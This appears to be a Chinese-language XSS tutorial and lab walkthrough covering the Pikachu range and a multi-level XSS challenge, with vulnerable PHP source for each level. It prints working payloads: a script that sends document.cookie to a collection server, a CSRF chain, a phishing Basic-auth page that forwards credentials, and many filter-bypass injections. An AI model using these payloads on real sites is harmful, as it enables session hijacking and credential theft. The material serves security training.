XSS原名为Cross-site Sciprting(跨站脚本攻击),因简写与层叠样式表(Cascading style sheets)重名,为了区分所以取名为XSS。
这个漏洞主要存在于HTML页面中进行动态渲染输出的参数中,利用了脚本语言和HTML语言的特性,将恶意的JavaScript脚本注入进HTMl页面,这些脚本可以窃取用户信息、会话令牌、修改页面内容等,从而达到攻击目的。
XSS的基本流程是:
反射型XSS:
攻击者利用用户提供的输入(比如URL参数、表单输入等),将恶意脚本注入到网页中,然后用户访问这个包含恶意代码的网页时,浏览器就会执行这些恶意代码。
反射性XSS内的恶意脚本只会执行一次
<script>alert(document.cookie)</script>
存储型XSS:
DOM-based XSS:
XSS漏洞之所以危险,是因为攻击者可以利用它执行JavaScript代码,而JavaScript是一种功能强大的编程语言,可以进行几乎所有与网页相关的操作,包括但不限于:
攻击POC
<script>document.location='http://pikachu.win/pkxss/xcookie/cookie.php?cookie='+document.cookie</script>
document.location
运行时打开一个连接,后面的连接是黑客收集XSS的服务端,使用cookie
参数接收一个document.cookie
本地的cookie,只要运行就会自动跳转黑客的服务端,并将用户的cookie值存入黑客指定的服务器中。
<?php
if($_GET['cookie'])){
$user_cookie = $GET['cookie'];
}
header("Location:http://pikachu/index.php");
?>
解决的办法也非常简单,在使用setcookie()
函数是,将httponly
设置为true,这样cookie
就无法通过javascript
脚本获取,自然就防御了XSS攻击
先构造一个修改信息的脚本text.php
。它其实就是一个CSRF的漏洞,当用户是登录状态下获得的UID的Cookie,在来访问该脚本中的URL,就会造成敏感信息被修改。
<script>
let sex = 'lili'
let phonenum = '186265454532'
let add = 'chain32322'
let email = 'vince@pikachu.com'
document.location = 'http://pikachu.win/vul/csrf/csrfget/csrf_get_edit.php?sex=' + sex + '&phonenum=' + phonenum + '&add=' + add + '&email=' + email + '&submit=submit';
setTimeout(function() {
history.back();
}, 0);
</script>
构造XSS的payload,该payload的作用就是当用户触发这个脚本,就会自动跳转刚刚的text.php
的脚本文件中,去触发CSRF漏洞的执行。
<script>document.location='http://xss.win/text.php'</script>
首先登录vince账号!查看现在的信息~
然后我们去访问这个含有XSS漏洞的连接.例如我们在首页去进行访问。
http://pikachu.win/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fxss.win%2Ftext.php%27%3C%2Fscript%3E&submit=submit
进行访问后,因为history.back()函数,我们会立刻又返回到这个页面,让用户也察觉不出,已经被攻击了,但是实际上,信息已经被修改了。
对于此类XSS攻击,一定对用户输入的信息做严格过滤验证,在修改敏感信息时要加二次验证,最好是在加一个有token机制,来防范CSRF漏洞。
XSS钓鱼攻击: 攻击者可以伪造看似合法的网站页面,诱使用户输入敏感信息(如用户名、密码等),并窃取这些信息。
首先需要去一个伪造的站点,这里以pikachu靶场的代码为例:
<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
header('Content-type:text/html;charset=utf-8');
header("WWW-Authenticate: Basic realm='认证'");
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
header("Location: http://pikachu.win/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
&password={$_SERVER[PHP_AUTH_PW]}");
}
?>
然后构造payload将它注入进含有XSS漏洞的页面。
<script src='http://pikachu.win/pkxss/xfish/fish.php'></script>
输入后,该代码会保存在数据库中,然后通过前端回显调用出该代码,从而触发XSS脚本
我们在这个认证弹框中输入任意账号密码,都会被记录在攻击者的后台。
修改网页代码: 攻击者可以通过XSS漏洞修改网页的代码,插入恶意脚本,甚至篡改网页内容,欺骗用户。
XSS蠕虫攻击: 这种攻击利用XSS漏洞,使恶意脚本能够自我复制并传播到其他页面,从而扩大攻击范围。
网站重定向: 攻击者可以利用XSS漏洞将用户重定向到恶意站点,可能用于进一步的钓鱼攻击或安装恶意软件。
获取键盘记录: 通过XSS攻击,攻击者可能尝试捕获用户的键盘输入,以窃取密码或其他敏感信息。
获取用户信息等: 攻击者可以利用XSS漏洞获取用户的各种信息,如浏览器信息、IP地址、地理位置等,用于进一步的攻击或个人信息泄露。
因此,XSS漏洞确实对网站和用户造成潜在威胁,因为攻击者可以利用它执行几乎所有与网页交互和用户信息相关的操作。
XSS的挖掘就在于,如何去发现已知、未知的参数,其实它也是整个web渗透的精髓,在web渗透中漏洞的产生绝大多数都是因为,用户输入的参数。
而每个漏洞关注的点略有不同,例如:
如果一个站点参数在页面上不回显用户输入,这意味着输入的内容在页面渲染时不会直接显示给用户。这种情况下,光是尝试XSS payload可能无法发现漏洞,因为恶意代码无法在页面上直接执行。
所以寻找站点的参数就是最关键的一步,找到所有隐藏参数,那么你的渗透也就成功了一半。
在HTTP协议中,一般都会通过GET或POST来传递参数,而要传递什么参数,就要看后端需要接收什么参数。
<?php
$_GET['id'];
?>
上面的php源码就是一个使用GET方法接收名为id的参数,那么这个id的参数是从来传入的呢?
在HTML的标签中name属性就是用来传递这个参数,这个属性我们可以通过查看源码来发现!
所以我们可以通过查看源码HTML标签中的name属性来查找参数!
在HTML的hidden
属性它称为隐藏域,用于将数据存储在表单中但不显示给用户。这个隐藏域通过 <input type="hidden">
元素来实现。
虽然隐藏域在页面中不可见,但它在 HTML 源代码中是可见的,而且在浏览器中查看页面源代码时也可以看到。因此,隐藏域的存在可以在源代码中被发现和查看,而且它的值也会在提交表单时传递给服务器端。
隐藏域通常用于存储一些不希望用户看到或编辑的数据,比如会话标识符、状态信息或者其他需要在后端处理但无需用户交互的数据。
还有一种隐藏参数,就是后端设置了GET或者POST传递参数,但是这些参数在前端的 HTML 代码中并没有明确显示。这种情况可能发生在后端通过服务器端生成或者处理参数,并将其注入到请求中,而不是通过明确的前端表单或链接来传递。
这些参数可能通过后端处理、服务端脚本或其他机制注入到请求中,比如通过服务器端的处理逻辑、Session 数据、Cookies、URL 重定向等方式。这样的参数在前端的 HTML 源代码中通常不会直接显示出来。
在这种情况下,要发现这些由后端设置的参数,可能需要更深入地审查请求和响应,可能需要对服务器端的代码进行分析,观察请求和响应的数据,在网络请求中查找可能的参数传递。
在javascript中也存在隐藏的参数,这些参数通常是通过js脚本来存储或处理数据,所以它并不直接暴露给用户,但是之前所说的前端都是纸老虎,前端js脚本始终是要与用户进行交互,所以只要仔细去挖掘js脚本内容,还能能用内容中发现参数。
隐藏参数的方法还有很多,这里只是举例比较常见了几种隐藏方式。
找到参数虽然非常重要,但是查看这些参数是否能利用,还得看这些参数的在后端的功能,例如之前所说,参数是否与数据库交互,是否会回显在页面上,是否具有上传功能等等,根据我们要挖掘的漏洞,去分析测试这些参数的功能。
?
<script>alert(1)</script>
发现存在字符长度限制,所以POC没有输入完整,对源码进行更改,取消长度限制,测试成功!
以上测试,都是没有参数输入验证或过滤机制,进行测试,在实际情况下,可能就存在WAF或者后端函数过滤等方式,来防御XSS,而混淆验证就是为了绕过它们进行攻击。
具体如如何去绕过还的根据实际情况在决定,而这一部分则放到靶场实际操作来验证!先介绍一下XSS绕过的姿势
<
编码为 <
、"
编码为 "
。\u003cscript\u003e
替代<script>
。onerror
, onmouseover
等触发脚本执行。<script>
,尝试使用 <svg/onload=alert()>
。这些技术可能单独或者结合使用,攻击者通常会根据目标网站的具体情况和安全措施来选择合适的攻击方式。对于开发者和安全团队来说,了解这些攻击方法是非常重要的,以便及时更新和强化防御措施。
查找注入点
name
,但是在源码中,在HTML源码标签中并未发现使用name属性进行传值,所以这里判断是采用后端隐藏属性。分析注入点
将name
输入一个有我们自己定义的字符串,查看是否具有回显。
由上图发现,我们输入的特殊字符串,在页面是有回显的,但是在#
号后的字符都被截断了。发生这种情况,有可能是后端对输入的字符进行过滤。先测试POC看看是否可以成功通过
<script>alert(1)</script>
普通POC直接通关。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="levell2.php?keyword=test";
}
</script>
//重写了window.alert参数,在这里页面触发了alert()函数就会跳转到这里的逻辑
<title>欢迎来到levell1</title>
</head>
<body>
<h1 align=center>欢迎来到levell1</h1>
<?php
ini_set("display_errors", 0);
//ini_set 是 PHP 中用于动态改变配置选项的函数。它允许在运行时修改 PHP 配置,这样可以在代码中针对特定的需求进行配置更改
//display_errors 是 PHP 的一个配置选项,用于控制是否在页面上显示 PHP 错误信息。1=true 报错信息显示,0=false 报错信息不显示
$str = $_GET["name"];
//使用了GET方法将name传递的值赋值给$str
echo "<h2 align=center>欢迎用户".$str."</h2>";
//在页面输出 h2标签并剧中的字符串,传递的值也会输出到页面的上。XSS漏洞
?>
<center><img src=levell1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
//显示传入参数的长度!
?>
</body>
</html>
从源码分析,该源码没有对传入的参数做任何验证、过滤。
查找输入点和回显点:
由上图来看,它也是具备xss漏洞的特性的。输入<>~!@#$123
成功回显到页面上,测试XSS POC
<script>alert(1)</script>
分析POC
输入POC后,脚本并没有执行,由此分析可能存在验证或者过滤。
查看页面源码后发现<>
符号被转义了,<
转义为<
、>
转义为>
,所以无法执行
但是在input标签的value中并没有转义,但是它被当作字符串回显在页面上。那么我们可以考虑把input标签闭合,在使用js脚本。
混淆
POC
"><script>alert(1)</script>
这个POC前面的“>
就是为了闭合input标签的结构, 然后在输入POC脚本
成功执行脚本!
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="levell3.php?writing=wait";
}
//和之前一样,这里就不解释了
</script>
<title>欢迎来到levell2</title>
</head>
<body>
<h1 align=center>欢迎来到levell2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<!--使用了htmlspecialchars()进行了过滤,但是过滤的位置不对 -->
<form action=levell2.php method=GET>
<input name=keyword value="'.$str.'">
<!--没有对参数进行过滤转义,所以导致了XSS漏洞 -->
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=levell2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
htmlspecialchars()
是 PHP 中用于处理字符串的函数之一,它主要用于转换特殊字符为 HTML 实体,防止潜在的 XSS,htmlspecialchars
函数可以将特殊字符(比如 <
, >
, &
, '
, "
等)转换为它们对应的 HTML 实体,(比如 <
, >
, &
, &apos
, "
)。
但是它的不应该放在输出点上,它应该放在使用GET方法传参的输入点上,才可以防御XSS
老规矩还是查找输入点和回显点。
观察上图可以发现,它与level-2比较相似,所以我们直接使用level-2的POC,来进行测试。
发现无法触发脚本,在页面源码中,value中的<>
括号也被转义了,没有<>
号就无法进行XSS攻击了吗?不是我们还可以用标签事件来触发XSS
标签事件介绍:
标签事件指的是 HTML 标签中所包含的 JavaScript 事件,这些事件可以触发在用户浏览页面时执行相应的 JavaScript 代码。通过这些事件,可以对用户与页面的交互作出响应,实现丰富的交互体验。
以下是一些常见的 HTML 标签事件及其作用:
- onclick: 当用户点击某个元素(如按钮、链接等)时触发。
- onmouseover: 当鼠标移动到元素之上时触发。
- onmouseout: 当鼠标移出元素时触发。
- onkeydown: 当用户按下键盘上的任意键时触发。
- onload: 当页面或图片完成加载时触发。
- onsubmit: 当表单提交时触发。
通过将这些事件附加到 HTML 元素上,可以定义对应的 JavaScript 代码,从而实现对用户操作的响应。例如,使用
onclick
事件可以在用户点击按钮时执行特定的 JavaScript 函数,从而改变页面的内容或进行其他操作。
使用POC
' οnmοuseοver=alert(1) '
前面的‘
和后面的’
单引号都是为了闭合input标签中的value属性,从而改变DOM结构,创建一个新的事件属性。
当鼠标经过这个input标签就会触发事件,从而导致了XSS漏洞的产生。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="levell4.php?keyword=try harder!";
}
</script>
//于之前levell 一致
<title>欢迎来到levell3</title>
</head>
<body>
<h1 align=center>欢迎来到levell3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
//任然没有做过滤验证
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."
<center>
//和levell-2 一致,使用htmlspecialchars()进行了专业
<form action=levell3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
// 对input标签内的value的值进行的转义
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=levell3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
该源码是在level-2的基础上 对input标签中的value值进行了过滤转义操作,但是验证强度还是不够。
老规矩还是查找输入点和回显点。
从此处看和level-2、level-3 差不多,所以我直接使用level-3 的POC进行测试!
发现并没有触发脚本,检测页面源码发现input标签中的value属性使用是 “
双引号。
重新构造POC
" οnmοuseοver=alert(1) "
成功拿下!
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="levell5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到levell4</title>
</head>
<body>
<h1 align=center>欢迎来到levell4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=levell4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=levell4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
在本源码中引入了str_replace()
函数,它 是 PHP 中用于字符串替换的函数之一。它用指定的新字符串替换字符串中的部分内容,并返回替换后的结果。
$str2 = str_replace(">", "", $str);
:这行代码将参数中的 >
替换为空字符串,即移除了参数中的 >
符号。$str3 = str_replace("<", "", $str2);
:这行代码将 $str2
中的 <
替换为空字符串,即移除了参数中的 <
符号。其他源码于level-3 的源码也基本一致,但是任然未对源头进行验证过滤!
老规矩还是查找输入点和回显点。
输入level 4的POC进行测试
从页面源码中发现onmouseover
事件的o
和n
之间添加了一个下划线_
,这里可能是加强对事件属性的验证过滤!
使用level-2 的POC继续尝试
<scRipt>alert(1)</script>
从页面源码上发现script 也被插入了一个下划线,导致脚本无法触发。
这里又要引入一个新方法 javascript伪协议:
JavaScript 伪协议(“javascript:”)是一种用于在 href 或类似位置中执行 JavaScript 代码的方法。它的使用方法是在 URL 中以 “javascript:” 开头,后接要执行的 JavaScript 代码。
例如:
<a href="javascript:alert('Hello')">点击这里</a>
在这个例子中,当用户点击这个链接时,
href
属性指定了一个 JavaScript 代码,即弹出一个包含 “Hello” 的警告框。尽管 JavaScript 伪协议在某些情况下可以用于执行简单的 JavaScript 操作,但它也存在一些安全风险。在使用时需要格外小心,因为它可能会被恶意利用,比如被用于构造 XSS(跨站脚本攻击)等攻击。
构造POC
"><a href="javascript:alert(1)">123</a>
前面的“>
是为了闭合value属性,使用了<a>
标签的超连接属性herf
,引入了javascript的伪协议,当点击这个连接时就会触发js脚本。
成功触发!
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="levell6.php?keyword=break it out!";
}
</script>
<title>欢迎来到levell5</title>
</head>
<body>
<h1 align=center>欢迎来到levell5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=levell5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=levell5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
此关卡源码,于level4 基本一致,不同的是使用str_replace()
函数替换的字符串是on
和script
,并且还使用strtolower()
将输入的字符都转化成了小写,所以在本关卡中无法使用大小写绕过。!
老规矩还是查找输入点和回显点。
发现点于之前关卡一致,直接使用level-5的POC测试,
发现href被插入了下划线!
在进行多轮测试后终于发现,使用level-5的POC把 href
属性,更换为大写即可触发脚本
"><a HREF="javascript:alert(1)">123</a>
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="levell7.php?keyword=move up!";
}
</script>
<title>欢迎来到levell6</title>
</head>
<body>
<h1 align=center>欢迎来到levell6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
//发现只对关键字的小写进行的替换,且没有对传入参数进行转化小写,可以用大写绕过关键字。
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=levell6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=levell6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
从源码中发现,它对这多个关键字进行的替换,但是没有对传入的参数进行小写或大写转换,从而导致了可以使用大写字符绕过验证。
那么在此处应该还有几种POC可以使用测试如下:
"> <sCript>alert(1)</sCript> <"
" oNmouseover=javascript:alert(1) "
老规矩还是查找输入点和回显点。
直接使用level-7的POC测试,发现script、herf等关键字被过滤了,
但是<
尖括号还可以用,那么是否可以用文件上传中使用过的双写绕过呢?我们继续测试。
"> <scscriptript>alert(1)</scscriptript>
成功绕过!
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=c("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
由源码看出,它只使用str_replace
它针对了部分XSS常用的关键字进行了过滤,并没有替换,从而造成了双写绕过的漏洞!
老规矩还是查找输入点和回显点。
在本关卡中,处理的逻辑于之前几关不台一样,它是将用户输入的信息,传递到<a>
标签中,而不是直接现实在页面上,但是关系也不大。点击链接一样会触发脚本执行。使用POC进行测试
<scirpt>alert(1)</scirpt>
此处发现 script 关键字被插入了下划线,因此无法使用双写绕过,也尝试了大小绕过,也被转义为小写,也无法使用,使用JavaScript伪协议发现也被插入了下划线!
做到这里我已经忍不住想去查看源码,来解开谜题了,可又脑子突发奇想,使用编码后的字符进行绕过。
HTML解析步骤
- 获取 HTML 文件: 首先,浏览器获取 HTML 文件。这可能是从服务器请求获取的网络资源,或者是本地文件系统中的文件。
- 创建DOM树: 浏览器将获取的 HTML 文档转换为DOM(文档对象模型)树的形式。在此过程中,浏览器解析 HTML 标记,根据标记创建对应的元素节点,形成一个层级结构,这就是DOM树。
- 解析标记和属性: 当浏览器解析 HTML 标记时,它会识别标记中的属性。当遇到包含
href
属性的元素(比如<a>
标签),浏览器会检查这个属性并尝试理解它所表示的内容。- 处理
href
属性: 当浏览器遇到href
属性时,它会自动进行解码。这意味着浏览器会检查属性值中的URL编码(或其他编码)字符(如%20
表示空格),然后将它们解码为原始的字符形式(例如,将%20
解码为实际的空格字符)。- 构建渲染树: 解析完成后,浏览器将DOM树和CSS样式信息合并,构建渲染树。渲染树描述了页面上各个元素的渲染关系和样式信息。
- 页面布局和绘制: 最后,浏览器根据渲染树和布局信息计算各元素在屏幕上的位置,并进行绘制,将最终的页面呈现给用户。
在这个过程中,当浏览器遇到
href
属性时,它会自动执行URL解码的步骤。这确保了链接地址中的特殊字符被正确解析和显示,从而使用户能够访问正确的资源。这种自动解码的机制有助于提高网页的可访问性和互操作性。
使用BP的编码解码功能对伪协议进行html实体编码:
javascript:alert(1)
编码后
javascript:alert()
在进行测试
成功过关!
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
发现该源码对关键字进行了转化插入操作,而且也使用strtolower()
函数进行转换,导致很难进行XSS注入攻击,在此应该直接在GET赋值前 使用htmlspecialchars()
函数对传入的参数提前处理
老规矩还是查找输入点和回显点。
此处于leve8的代码基本一致,我也采用level-8的POC进行测试!
发现链接不合法,那么说明样链接才合法呢,这就需要一步步的去测试
先输入一个正常值hello world
来测试,发现任然不合法,还是要找出它的规则。
输入www.baidu.com
测试,还是不合法
继续把http协议也加上测试http://baidu.com
继续测试,已经能正常现实链接。
由刚才测试的过程,推断关键点应该就在于http://
我们一个一个测试这几个字符。发现只要输入了http://
就是合法链接,其他位置可以随意输入任意字符。
在思考良久后,我觉得如果使用普通的XSS POC肯定是无法实现触发脚本执行的,但是我感觉如果使用js伪协议,应该可以将http://
给注释掉,立刻行动起来!
javascript:alert(1)//http://
这里发现script这个关键字被插入了下划线,我们可以采用level-8的POC用html实体编码对这个伪协议进行编码
编码后又出现了链接不合法,此处我犯了一个错误,它要检测的是这串字符串中是否存在http://
的字段,在我进行编码后,它全变成了html实体编码,后端无法识别,所以它就报链接不合法了。更换poc继续测试!
成功触发脚本执行!
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
分析完源码发现,它比level-8多了一个逻辑判断语句,如果接收的参数中不含http://
就为假执行链接不合法,如果含有就正常执行!。
老规矩还是查找输入点和回显点。
发现输入的字符串#号后的字符都被截断了。应该对参数进行了过滤处理,输入一个POC进行测试
<scirpt>alert(1)</script>
从源码分析,这里参数应该使用了htmlspecialchars()
函数进行了过滤,但是也从源码种发现了三个参数,它们使用 hidden
参数将表单字段设置为隐藏,意味着用户无法在前端页面上直接修改或查看该字段的值,这可以增加一定的安全性。之前多次强调过,前端验证 就是一个纸老虎。
参数2 t_history
,也没有发现明显的回显位
参数3 t_sort
, 任然还是没有发现回显位。如果是正式挖掘SRC,我估计都已经放弃了,认为它没有XSS漏洞,但是它是一个XSS靶场,那么在本关卡中几就一定有XSS漏洞,只不过我还没发现。继续仔细观察思考!
在本关卡中使用了hidden
对值进行了隐藏,那么这三个参数的值会不会传递到值(value)中呢?那么它就可能构成一个DOM型XSS,抱着怀疑的态度,我构造了一个POC进行测试。
" οnmοuseοver="alert(1)
重新对三个参数进行测试后,发现任然没有触发XSS,开始分析POC和input标签的关系!
<input name="t_sort" value="" onmouseover=alert(1) "" type="hidden">
最终还是发现一个问题,XSS是要在页面上有一个回显的位置触发,而这个标签的type属性是hidden
在页面上并没有现实,又怎么触发呢?仔细分析玩这个input标签后,他的type属性是在最后,那么我就可以利用HTML语言的特性在hidden
属性之前在注入以个typetext
属性,就可以在页面上显示一个文本框,从而去触发XSS脚本执行。
新POC
" οnmοuseοver=alert(1) type="text
经过测试后 ,只有t_sort
参数可以成功触发,这也证明我的思路是对的。
<!DOCTYPE html><!--STATUS OK-->
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function() {
confirm("完成的不错!");
window.location.href = "level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22 = str_replace(">", "", $str11);
$str33 = str_replace("<", "", $str22);
echo "<h2 align=center>没有找到和" . htmlspecialchars($str) . "相关的结果.</h2>" . '<center>
<form id=search>
<input name="t_link" value="' . '" type="hidden">
<input name="t_history" value="' . '" type="hidden">
<input name="t_sort" value="' . $str33 . '" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:" . strlen($str) . "</h3>";
?>
</body>
</html>
看了源码发现,也只有t_sort
参数进行了传值,并只过滤了两个尖括号<>
.
老规矩还是查找输入点和回显点。
输入测试字符后并没有发现任何回显点,那么这一关是否能和level-10一样有多个参数呢?
查看页面源码后发现一共有4个参数,那么就按level-10 的思路进行测试
全部测试完后发现,没有任何收获,在页面上找不到突破口,那么就换一个思路,从请求体中去寻找注入点。
在请求头中,有这么几条字段通常会被客户端利用,User_Agent
、Referer
、Cookie
,
User_Agent
用来判断用户是在使用什么设备访问,抵御恶意访问
Referer
用来判断用户是从那个网站来的,进行分析统计。
Cookie
用来判断用户权限信息,用于身份判断。
在分析4个参数 t_link
按字面意思理解应该是和链接相关,t_history
历史记录相关,t_sort
和类型相关,t_ref
这个参数看着像请求头中的Referer
字段!那么我们尝试在这个字段里注入一个POC测试!
通过BP抓包未发现Referer
字段,那么就把这个字段添加上去试试。
" οnmοuseοver=alert(1) type="text
成功触发XSS脚本过关!!
<!DOCTYPE html><!--STATUS OK-->
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function() {
confirm("完成的不错!");
window.location.href = "level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11 = $_SERVER['HTTP_REFERER'];
$str22 = str_replace(">", "", $str11);
$str33 = str_replace("<", "", $str22);
echo "<h2 align=center>没有找到和" . htmlspecialchars($str) . "相关的结果.</h2>" . '<center>
<form id=search>
<input name="t_link" value="' . '" type="hidden">
<input name="t_history" value="' . '" type="hidden">
<input name="t_sort" value="' . htmlspecialchars($str00) . '" type="hidden">
<input name="t_ref" value="' . $str33 . '" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:" . strlen($str) . "</h3>";
?>
</body>
</html>
从源码中分析,它总共就接收了三个参数一个是$str
和$str00
、$str11
,其中$str
是接收首页的keyword
参数,会在首页回显,但是由httpspecialchars()
函数过滤,所以无法进行XSS利用,
而$str00
参数,没有回显在页面上,但是在HTML树上,用input的value
属性显示了它的值,因为也被httpspecialchars()
函数过滤,所以也无法使用。
关键就在于$str11
参数,它接收一个通过$_SERVER
全局超级变量传递了HTTP协议中的Referer
字段。没有做严格的过滤限制,只限制的尖括号,所以它可以进行绕过。
老规矩还是查找输入点和回显点。
用页面源码发现,这一关的套路和level-11一样,不过这一次使用了User-Agent
字段。直接把抓包修改该值。
" οnmοuseοver=alert(1) type="text
level-11 和 level-12的源码几乎是一致的就不在分析!
老规矩还是查找输入点和回显点。
用页面源码发现,这一关的套路和level-11一样,不过这一次使用了Cookie
字段。直接把抓包修改该值。
user=" οnmοuseοver=alert(1) type="text
修改Cookie
字段后成功触发XSS漏洞!
源码与level-11、level-12 几乎一致就不在分析
本关卡应该是要跳转到另一个网页,奈何那个网页无法打开,先查看页面源码
在源码中没有发现任何参数,只发现有一条iframe
的标签,解释如下:
iframe标签:
